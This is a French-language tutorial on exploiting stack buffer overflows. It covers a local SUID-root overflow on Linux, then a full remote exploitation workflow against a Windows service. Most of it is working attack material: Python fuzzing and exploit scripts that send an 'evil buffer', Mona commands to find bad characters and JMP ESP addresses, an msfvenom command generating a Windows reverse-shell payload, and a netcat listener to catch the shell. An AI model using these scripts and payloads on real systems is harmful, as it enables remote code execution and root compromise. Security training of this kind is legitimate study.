Bebzounette
Rechercher

Buffer-Overflow

1. Notions essentielles

Quand un programme est exécuté, différents éléments (par exemple des variables) sont stockés en mémoire.
PremiĂšrement, l’OS crĂ©e des emplacements mĂ©moire ou le programme pourra "tourner". Cet emplacement mĂ©moire inclut les instructions du programme actuel.
DeuxiĂšmement, les informations du programme sont chargĂ©es dans l’espace mĂ©moire crĂ©Ă©.Il existe trois types de segments dans le programme : .text, .bss et .data.
  • Le .text est en lecture seule tandis que le .bss et le .data sont en lecture/Ă©criture.
  • Le .data et le .bss sont rĂ©servĂ©s pour les variables globales.
  • Le .data contient les donnĂ©es initialisĂ©es.
  • Le .bss contient les donnĂ©es non initialisĂ©es.lLe .text contient les instructions du programme.
Finalement, la pile (stack) et le heap (partie de la mémoire interne utilisée pour construire ou rejeter dynamiquement des objets de données) sont initialisés.
Stack (LIFO) : la donnée la plus récente placée (push) dans la pile sera la premiÚre sortie (pop).
Une LIFO est idĂ©ale pour mĂ©moriser des donnĂ©es transitoires ou des informations qui n’ont pas besoin d’ĂȘtre stockĂ©es longtemps.
La pile stocke les variables locales, les appels Ă  fonction et d’autres informations utilisĂ©es pour nettoyer la pile aprĂšs qu’une fonction ou procĂ©dure ait Ă©tĂ© appelĂ©e.À chaque donnĂ©e stockĂ©e dans la pile, l’adresse contenue dans le pointeur de pile (ESP) dĂ©croĂźt.
La premiĂšre chose Ă  trouver sur une machine UNIX lors d’une attaque locale est un programme vulnĂ©rable, mais cela ne suffit pas. Il faut injecter notre code dans un programme qui est exĂ©cutĂ© avec les droits root mĂȘme s’il est appelĂ© par un utilisateur.
On se retrouvera avec les droits root et on sera en possession d’un shell qui permettra d’exĂ©cuter n’importe quelle commande en tant que root.
Comment connaßtre les programmes avec le SUID root activé ?
find / -type f -perm -04000

1.2 Un exemple simple pour comprendre

Pour pouvoir dérouler notre exemple, nous allons devoir désactiver le patch Linux sinon cela ne marchera pas du à la randomization des adresses :
# cat /proc/sys/kernel/randomize_va_space
1
# echo 0 > /proc/sys/kernel/randomize_va_space
#
# cat /proc/sys/kernel/randomize_va_space
0
Voici un programme trÚs simple qui alloue de la mémoire.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int vuln(char *arg)
{
char buffer[512];
strcpy(buffer,arg);
return 1;
}
int main(int argc, char **argv)
{
if(argc<2)exit(0);
vuln(argv[1]);
exit(1);
}
Dans le programme ci-dessus, le buffer a été déclaré avec une taille de 512 octets.
Les sauvegardes des registres sur la pile sont codées sur 4 octets (registres 32 bits).
Les deux arguments de la fonction vuln sont des adresses de buffer, ils sont codés sur 4 octets.
Si nous arrivons à écrire 4 octets de plus que la taille du buffer, alors les 4 octets de EBP seront écrasés.
Si nous arrivons Ă  Ă©crire 4 octets de plus, alors c’est EIP qui sera Ă©crasĂ©.
Si EIP est Ă©crasĂ© par une valeur que nous aurons dĂ©finie, lors de l’appel Ă  ret, c’est cette valeur qui sera extraite de la pile et Ă  laquelle le programme sautera.
Nous risquons d’avoir un Ă©cart de 4 octets suivant la version du compilateur.
Compilons d’abord le programme, donnons-lui le droit d’exĂ©cution et activons le bit SUID :
# gcc -o programme_test programme_test.c
# chmod u+s programme_test
Nous allons pouvoir nous attaquer au buffer overflow.
La premiĂšre chose Ă  tester est la faillibilitĂ© de notre programme. Nous allons donc essayer d’injecter un grand nombre d’arguments en lançant notre programme. Si celui-ci est vulĂ©nrable, On aura un segment fault en retour.
ASTUCE : Voici ma commande préféré pour rapidement génerer des caractÚres. Pour écrire, par exemple, un grand nombre de "A" grùce à Python on écrit :
python -c 'print "A" * 1000' > BUFF.TXT
Sur votre terminal vous devriez voir apparaĂźtre 1000 fois le caractĂšre "A" :
​
On lance notre programme avec en paramĂštre nos 1000 caractĂšre "A" :
./premier_test BUFF.txt
Notre programme nous renvoie une erreur de segmentation. Il est donc susceptible d'ĂȘtre vulnĂ©rable Ă  un, buffer overflow.
Maintenant il faut dĂ©terminer exactement pour quel nombre de caractĂšres le programme plante pour pouvoir Ă©craser l’adresse de retour.
Nous allons pour l’instant tester manuellement jusqu’à trouver la taille du buffer. Nous verrons ultĂ©rieurement comment automatiser tout ça.
Pour visualiser le contenu de l’adresse de retour, on lance gdb sous Linux.
$ gdb ./premier_test
(gdb) r 'python -c 'print "A" * 1000''
r signifie run, non lance le programme avec les 1000 "A" comme arguments.
On peut voir "Segmentation fault" avec une adresse inconnue qui est 0x41414141. Que reprĂ©sente cette adresse ? 41 en hexadĂ©cimal reprĂ©sente le A. Donc l’adresse de retour a Ă©tĂ© remplacĂ©e par quatre A. L’adresse de retour a donc bien Ă©tĂ© Ă©crasĂ©e.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
On va essayer, en tĂątonnement, de trouver exactement le moment oĂč nous Ă©crasons l’adresse de retour.
(gdb) r 'python -c 'print "A" * 200''
(gdb) r 'python -c 'print "A" * 500''
(gdb) r 'python -c 'print "A" * 520''
Nous voyons que pour 520 A exactement, nous Ă©crasons l’adresse de retour (EIP).

2. Exploitation d'un Buffer Overflow

Prérequis (Avant chaque buffer-overflow que vous ferez) :

1) Préparer votre environnement :
2) Configurer Mona :
Avant tout on crée un répertoire dédié à Mona :
!mona config -set workingfolder c:\mona\%p
3) Télécharger sur votre VM Windows l'exécutable sujet au Buffer-overflow
4) Lancez l'exécutable et Immunity Debugger en mode Administarteur
5) Appuyer sur le bouton run (à refaire à chaque fois que l'application crash), pour revenir au stade précÚdent vous pouvez cliquer sur l'icone << et ensuite cliquer sur run.

1) Fuzzing

import socket, time, sys
​
ip = "IP"
port = PORT
timeout = 5
​
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
​
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)

2) Crash EIP

Nous savons maintenant combien de bytes il nous faut envoyer pour faire crasher l'application. On va donc utiliser metasploit qui va créer un pattern spécial que nous allons utiliser ensuite pour trouver l'offset.
msf-pattern-create -l <NUMBER OF BYTES SEND + 400>
Copier le résultat et remplacer le dans la variable overflow="" dans le script exploit.py :
import socket
​
ip = "10.0.0.1"
port = 21
​
prefix = ""
offset = 146
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
​
buffer = prefix + overflow + retn + padding + payload + postfix
​
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
​
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

3) Trouver l'offset

On refait crasher l'application, on va donc maintenant regarder l'adresse de l'EIP et demander à metasploit de nous trouver l'offset grùce au pattern créer précédemment et cette adresse.
msf-patter_offset -l -q EIP_Address
On remplace l'offset trouvé dans notre script exploit.py (exemple : offset=146)

4) VĂ©rification de l'overflow de l'EIP

On ajoute 4 "B" aprÚs notre overflow de l'EIP et des "C" (BYTES SEND - OFFSET -4 fois la lettre B). Nous faisons cela pour vérifier que nous allons bien overflow l'EIP et que nous allons pouvoir déposer notre shell juste aprÚs.
On lance notre programme, on fait crash l'application. La valeur de L'EIP devrait ĂȘtre 42424242 = "BBBB". On a donc bien rĂ©ussi Ă  overflow l'EIP qui est maintenant rempli de "B".
import socket
​
ip = "10.0.0.1"
port = 21
​
prefix = ""
offset = 146
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = "C" * (BYTS SEND - OFFSET -4)
postfix = ""
​
buffer = prefix + overflow + retn + padding + payload + postfix
​
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
​
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

5) Trouver les Badchars

Certains caractĂšres peuvent faire "changer" le fonctionnement de certaines fonctions, nous allons donc les trouver et les exclure.
Dans Immunity Debugger, on exclu avec Mona, le bit \x00 :
!mona bytearray -b "\x00"
import socket
​
ip = "10.10.93.223"
port = 1337
​
prefix = "OVERFLOW1 "
offset = 146
overflow = "A" * offset
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
retn = ""
padding = ""
payload = "C" * (BYTES SEND - OFFSET -4)
​
postfix = ""
​
buffer = prefix + overflow + retn + padding + payload + postfix
​
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
​
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
​
On retourne dans Immunty Debugger :
!mona compare -f C:\mona\appname\bytearray.bin -a
On note les Badchars trouvés par Mona sous la forme "\x00\x01\x02"...

6) Trouver la fonction JMP

Pour ĂȘtre sur que notre shellcode va s'exĂ©cuter aprĂšs le dĂ©bordement de notre stack nous allons retourner une adresse qui contient une instruction JUMP (JMP) qui va nous permettre de "sauter" directement Ă  la prochaine instruction.
Dans Immunity Debugger on tape :
!mona jmp -r esp -cpb BADCHARS
Voici un exemple :
!mona jmp -r esp -cpb "\x00\x0a\x0d"
Mona vas nous retourner une ou plusieur adresse lié à des fonctions jump. On prend une addresse de function JMP et on la note à l'envers (little endian).
Exemple :
0x625011af
deviendras
\xaf\x11\x50\x62

7) On génÚre notre reverse_shell

On n'a plus qu'à générer notre reverse_shell en excluant bien les badchars avec l'option -b (\x00\x01\x02)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b BADCHARS -f c

8) Padding

Pour ĂȘtre sur encore que rien n'empĂȘche notre shellcode de s'exĂ©cuter on rajouter ce qu'on appelle un padding. C'est un petit espace juste aprĂšs notre instruction JUMP (j'aime bien en mettre 32 mais vous pouvez en mettre moins ou un peu plus).
padding = "\x90" * 32
Pour résumer, on se retrouve avec Exploit.py :
import socket
​
ip = "10.10.93.223"
port = 1337
​
​
​
prefix = "OVERFLOW1 "
​
offset = 146 #offset trouvé avec msf
​
overflow = "A" * offset
​
retn = "\x56\x23\x43\x9A" #l'adresse de retour Ă  une fonction jump.
​
padding = "\x90" * 32 # un peu de padding
​
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..." # notre shellcode généré par msf
​
postfix = ""
​
​
​
​
buffer = prefix + overflow + retn + padding + payload + postfix
​
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
​
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
On lance un listener :
nc -lnvp 1234
python exploit.py
Vous devriez récupérer un reverse shell.